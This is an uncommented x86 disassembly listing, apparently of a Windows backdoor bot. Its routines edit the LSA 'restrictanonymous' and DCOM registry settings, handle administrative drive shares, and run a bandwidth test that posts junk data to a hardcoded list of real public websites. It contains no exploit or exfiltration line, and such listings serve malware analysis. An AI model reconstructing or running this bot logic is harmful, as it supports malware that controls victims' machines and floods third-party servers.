		lea	eax, [ebp+var_214]
		push	offset dword_43A770
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A464:				; CODE XREF: sub_41A3C6+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A483
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A483:				; CODE XREF: sub_41A3C6+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CBA44
		test	eax, eax
		jnz	short loc_41A4F1
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4CB9F8
		test	eax, eax
		jz	short loc_41A4D3
		push	offset dword_43A720
		jmp	short loc_41A4D8
; ---------------------------------------------------------------------------


loc_41A4D3:				; CODE XREF: sub_41A3C6+104j
		push	offset dword_43A6EC


loc_41A4D8:				; CODE XREF: sub_41A3C6+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9B0
		jmp	short loc_41A50B
; ---------------------------------------------------------------------------


loc_41A4F1:				; CODE XREF: sub_41A3C6+E2j
		push	offset dword_43A6B0
		jmp	short loc_41A4FD
; ---------------------------------------------------------------------------


loc_41A4F8:				; CODE XREF: sub_41A3C6+13j
		push	offset dword_43A680


loc_41A4FD:				; CODE XREF: sub_41A3C6+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A50B:				; CODE XREF: sub_41A3C6+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A52A
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A52A:				; CODE XREF: sub_41A3C6+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		cmp	dword_4CBACC, edi
		pop	ecx
		jnz	loc_41A6A5
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41A54D:				; CODE XREF: sub_41A3C6+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4CB918
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A5EA
		cmp	eax, 0EAh
		jz	short loc_41A5EA
		mov	esi, offset off_43A548


loc_41A57E:				; CODE XREF: sub_41A3C6+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_4191B8
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A595
		push	offset dword_43A65C
		jmp	short loc_41A59A
; ---------------------------------------------------------------------------


loc_41A595:				; CODE XREF: sub_41A3C6+1C6j
		push	offset dword_43A630


loc_41A59A:				; CODE XREF: sub_41A3C6+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A5CD
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A5CD:				; CODE XREF: sub_41A3C6+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43A568
		jb	short loc_41A57E
		jmp	loc_41A682
; ---------------------------------------------------------------------------


loc_41A5EA:				; CODE XREF: sub_41A3C6+1AAj
					; sub_41A3C6+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A679


loc_41A5F9:				; CODE XREF: sub_41A3C6+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41E0B7
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A66E
		push	edi
		call	sub_4190A5
		push	eax
		push	0
		call	sub_4191B8
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A628
		push	offset dword_43A60C
		jmp	short loc_41A62D
; ---------------------------------------------------------------------------


loc_41A628:				; CODE XREF: sub_41A3C6+259j
		push	offset dword_43A5E0


loc_41A62D:				; CODE XREF: sub_41A3C6+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A661
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A661:				; CODE XREF: sub_41A3C6+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		pop	ecx


loc_41A66E:				; CODE XREF: sub_41A3C6+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A5F9
		xor	edi, edi


loc_41A679:				; CODE XREF: sub_41A3C6+22Dj
		push	[ebp+var_8]
		call	dword_4CBA64


loc_41A682:				; CODE XREF: sub_41A3C6+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A54D
		lea	eax, [ebp+var_214]
		push	offset dword_43A5B8
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A6B8
; ---------------------------------------------------------------------------


loc_41A6A5:				; CODE XREF: sub_41A3C6+177j
		lea	eax, [ebp+var_214]
		push	offset dword_43A588
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A6B8:				; CODE XREF: sub_41A3C6+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A6D6
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A6D6:				; CODE XREF: sub_41A3C6+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_41A3C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6EA	proc near		; CODE XREF: sub_41A366:loc_41A3ADp

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CBAA4, ebx
		push	esi
		jnz	loc_41A818
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CBA44
		test	eax, eax
		jnz	short loc_41A775
		mov	ax, word_4392DC
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CB9F8
		test	eax, eax
		jz	short loc_41A757
		push	offset dword_43A938
		jmp	short loc_41A75C
; ---------------------------------------------------------------------------


loc_41A757:				; CODE XREF: sub_41A6EA+64j
		push	offset dword_43A91C


loc_41A75C:				; CODE XREF: sub_41A6EA+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9B0
		jmp	short loc_41A788
; ---------------------------------------------------------------------------


loc_41A775:				; CODE XREF: sub_41A6EA+36j
		lea	eax, [ebp+var_220]
		push	offset dword_43A770
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A788:				; CODE XREF: sub_41A6EA+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A7A7
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A7A7:				; CODE XREF: sub_41A6EA+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CBA44
		test	eax, eax
		jnz	short loc_41A811
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4CB9F8
		test	eax, eax
		jz	short loc_41A7F3
		push	offset dword_43A8DC
		jmp	short loc_41A7F8
; ---------------------------------------------------------------------------


loc_41A7F3:				; CODE XREF: sub_41A6EA+100j
		push	offset dword_43A8A4


loc_41A7F8:				; CODE XREF: sub_41A6EA+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9B0
		jmp	short loc_41A82B
; ---------------------------------------------------------------------------


loc_41A811:				; CODE XREF: sub_41A6EA+E2j
		push	offset dword_43A868
		jmp	short loc_41A81D
; ---------------------------------------------------------------------------


loc_41A818:				; CODE XREF: sub_41A6EA+13j
		push	offset dword_43A680


loc_41A81D:				; CODE XREF: sub_41A6EA+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A82B:				; CODE XREF: sub_41A6EA+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A84A
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A84A:				; CODE XREF: sub_41A6EA+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		cmp	dword_4CBACC, ebx
		pop	ecx
		jnz	loc_41A9BF
		push	edi
		mov	esi, offset off_43A548
		mov	edi, 200h


loc_41A86E:				; CODE XREF: sub_41A6EA+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_41910C
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A889
		push	offset dword_43A848
		jmp	short loc_41A88E
; ---------------------------------------------------------------------------


loc_41A889:				; CODE XREF: sub_41A6EA+196j
		push	offset dword_43A820


loc_41A88E:				; CODE XREF: sub_41A6EA+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A8BD
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A8BD:				; CODE XREF: sub_41A6EA+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43A558
		jb	short loc_41A86E
		nop
		call	near ptr 2860000h
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A9A7


loc_41A8E8:				; CODE XREF: sub_41A6EA+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A99C
		cmp	bl, 41h
		jz	loc_41A99C
		movsx	esi, bl
		push	esi
		push	offset aC_2	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_1	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4CBA34
		cmp	eax, 3
		jnz	short loc_41A99C
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_41910C
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41A95A
		push	offset dword_43A848
		jmp	short loc_41A95F
; ---------------------------------------------------------------------------


loc_41A95A:				; CODE XREF: sub_41A6EA+267j
		push	offset dword_43A820


loc_41A95F:				; CODE XREF: sub_41A6EA+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A98F
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A98F:				; CODE XREF: sub_41A6EA+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		pop	ecx


loc_41A99C:				; CODE XREF: sub_41A6EA+206j
					; sub_41A6EA+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A8E8


loc_41A9A7:				; CODE XREF: sub_41A6EA+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_43A7F0
		push	eax
		call	sub_41C266
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A9D2
; ---------------------------------------------------------------------------


loc_41A9BF:				; CODE XREF: sub_41A6EA+173j
		lea	eax, [ebp+var_220]
		push	offset dword_43A588
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A9D2:				; CODE XREF: sub_41A6EA+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A9F0
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A9F0:				; CODE XREF: sub_41A6EA+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41A6EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AA04	proc near		; CODE XREF: sub_41ABFB+CBp
					; sub_41ABFB+DDp ...

arg_0		= dword	ptr  4

		call	near ptr 26B0735h
		nop
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41AA04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA1E	proc near		; CODE XREF: sub_41ABFB+D4p
					; sub_41ABFB+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41B9C0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41ABF7
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41BF70
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40A8F0
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41ABF7
		push	50h
		call	dword_4CB9D4
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4CBA54
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41ABF7
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	loc_41ABF7
		push	32003h
		call	sub_41D9A5
		mov	edi, dword_4270B0
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi
		push	eax
		call	sub_41C2B8
		call	sub_41C2C2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41BF70
		push	32000h
		push	esi
		push	ebx
		call	sub_41BF70
		push	ebx
		call	sub_41B9C0
		push	323EAh
		mov	ebx, eax
		call	sub_41D9A5
		add	esp, 20h
		mov	esi, eax
		push	ebx
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41C266
		push	[ebp+var_8]
		push	esi
		call	sub_41C8A0
		push	offset asc_4349EC ; "\r\n"
		push	esi
		call	sub_41C8A0
		push	esi
		call	sub_41B9C0
		mov	ebx, eax
		add	esp, 24h
		mov	[ebp+var_10], ebx
		call	edi
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41AB77
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41AB47
; ---------------------------------------------------------------------------


loc_41AB44:				; CODE XREF: sub_41AA1E+157j
		mov	eax, [ebp+arg_0]


loc_41AB47:				; CODE XREF: sub_41AA1E+124j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41AB57
		push	[ebp+var_C]
		jmp	short loc_41AB58
; ---------------------------------------------------------------------------


loc_41AB57:				; CODE XREF: sub_41AA1E+132j
		push	ebx


loc_41AB58:				; CODE XREF: sub_41AA1E+137j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ABDE
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41AB44


loc_41AB77:				; CODE XREF: sub_41AA1E+11Aj
		call	edi
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_4276F4
		fst	[ebp+arg_0]
		fcomp	flt_4276F0
		fnstsw	ax
		sahf
		jnz	short loc_41AB9F
		fld1
		fstp	[ebp+arg_0]


loc_41AB9F:				; CODE XREF: sub_41AA1E+17Aj
		push	[ebp+var_4]
		call	dword_4CBA6C
		push	[ebp+var_8]
		call	sub_41BA91
		push	esi
		call	sub_41BA91
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_4276EC
		fmul	flt_4276E8
		call	sub_41D174


loc_41ABD9:				; CODE XREF: sub_41AA1E+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41ABDE:				; CODE XREF: sub_41AA1E+149j
		push	[ebp+var_4]
		call	dword_4CBA6C
		push	[ebp+var_8]
		call	sub_41BA91
		push	esi
		call	sub_41BA91
		pop	ecx
		pop	ecx


loc_41ABF7:				; CODE XREF: sub_41AA1E+19j
					; sub_41AA1E+42j ...
		xor	eax, eax
		jmp	short loc_41ABD9
sub_41AA1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ABFB	proc near		; CODE XREF: sub_401ACD+2E1Ep

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41AA04
		push	[ebp+eax*4+var_3C]
		call	sub_41AA1E
		push	8
		mov	esi, eax
		call	sub_41AA04
		push	[ebp+eax*4+var_3C]
		call	sub_41AA1E
		add	esp, 10h
		test	esi, esi
		jz	short loc_41ACFC
		test	eax, eax
		jz	short loc_41ACF8
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41ACFE
; ---------------------------------------------------------------------------


loc_41ACF8:				; CODE XREF: sub_41ABFB+F4j
		mov	ebx, esi
		jmp	short loc_41ACFE
; ---------------------------------------------------------------------------


loc_41ACFC:				; CODE XREF: sub_41ABFB+F0j
		mov	ebx, eax


loc_41ACFE:				; CODE XREF: sub_41ABFB+FBj
					; sub_41ABFB+FFj
		push	0Ch
		call	sub_41AA04
		push	[ebp+eax*4+var_6C]
		call	sub_41AA1E
		push	0Ch
		mov	edi, eax
		call	sub_41AA04
		push	[ebp+eax*4+var_6C]
		call	sub_41AA1E
		add	esp, 10h
		test	edi, edi
		jz	short loc_41AD36
		test	eax, eax
		jz	short loc_41AD32
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41AD38
; ---------------------------------------------------------------------------


loc_41AD32:				; CODE XREF: sub_41ABFB+12Ej
		mov	esi, edi
		jmp	short loc_41AD38
; ---------------------------------------------------------------------------


loc_41AD36:				; CODE XREF: sub_41ABFB+12Aj
		mov	esi, eax


loc_41AD38:				; CODE XREF: sub_41ABFB+135j
					; sub_41ABFB+139j
		push	6
		call	sub_41AA04
		push	[ebp+eax*4+var_1C]
		call	sub_41AA1E
		push	6
		mov	edi, eax
		call	sub_41AA04
		push	[ebp+eax*4+var_1C]
		call	sub_41AA1E
		add	esp, 10h
		test	edi, edi
		jz	short loc_41AD70
		test	eax, eax
		jz	short loc_41AD6C
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41AD72
; ---------------------------------------------------------------------------


loc_41AD6C:				; CODE XREF: sub_41ABFB+168j
		mov	ecx, edi
		jmp	short loc_41AD72
; ---------------------------------------------------------------------------


loc_41AD70:				; CODE XREF: sub_41ABFB+164j
		mov	ecx, eax


loc_41AD72:				; CODE XREF: sub_41ABFB+16Fj
					; sub_41ABFB+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41AD7F
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41AD82
; ---------------------------------------------------------------------------


loc_41AD7F:				; CODE XREF: sub_41ABFB+17Bj
		push	2
		pop	edi


loc_41AD82:				; CODE XREF: sub_41ABFB+182j
		test	esi, esi
		jz	short loc_41AD8A
		add	eax, esi
		jmp	short loc_41AD8B
; ---------------------------------------------------------------------------


loc_41AD8A:				; CODE XREF: sub_41ABFB+189j
		dec	edi


loc_41AD8B:				; CODE XREF: sub_41ABFB+18Dj
		test	ecx, ecx
		jz	short loc_41AD93
		add	eax, ecx
		jmp	short loc_41AD94
; ---------------------------------------------------------------------------


loc_41AD93:				; CODE XREF: sub_41ABFB+192j
		dec	edi


loc_41AD94:				; CODE XREF: sub_41ABFB+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_43A990
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_415D38
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41ABFB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ADD8	proc near		; CODE XREF: sub_401ACD+257Bp
					; sub_401ACD+29CDp ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		nop
		call	near ptr 26B0735h
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4DBC90
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41C360
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41ADD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AE41	proc near		; CODE XREF: sub_4172C1+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		nop
		call	near ptr 26F0582h
		test	eax, eax
		jz	short loc_41AED4
		cmp	[ebp+var_90], 4
		jnz	short loc_41AEAA
		cmp	[ebp+var_8C], esi
		jnz	short loc_41AE92
		cmp	[ebp+var_84], 1
		jnz	short loc_41AE85
		push	1
		pop	esi


loc_41AE85:				; CODE XREF: sub_41AE41+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41AED4
		push	1
		jmp	short loc_41AED3
; ---------------------------------------------------------------------------


loc_41AE92:				; CODE XREF: sub_41AE41+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41AE9F


loc_41AE9B:				; CODE XREF: sub_41AE41+78j
		push	2
		jmp	short loc_41AED3
; ---------------------------------------------------------------------------


loc_41AE9F:				; CODE XREF: sub_41AE41+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41AED4
		jmp	short loc_41AEC4
; ---------------------------------------------------------------------------


loc_41AEAA:				; CODE XREF: sub_41AE41+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41AED4
		cmp	[ebp+var_8C], esi
		jz	short loc_41AE9B
		cmp	[ebp+var_8C], 1
		jnz	short loc_41AEC8


loc_41AEC4:				; CODE XREF: sub_41AE41+67j
		push	3
		jmp	short loc_41AED3
; ---------------------------------------------------------------------------


loc_41AEC8:				; CODE XREF: sub_41AE41+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41AED4
		push	7


loc_41AED3:				; CODE XREF: sub_41AE41+4Fj
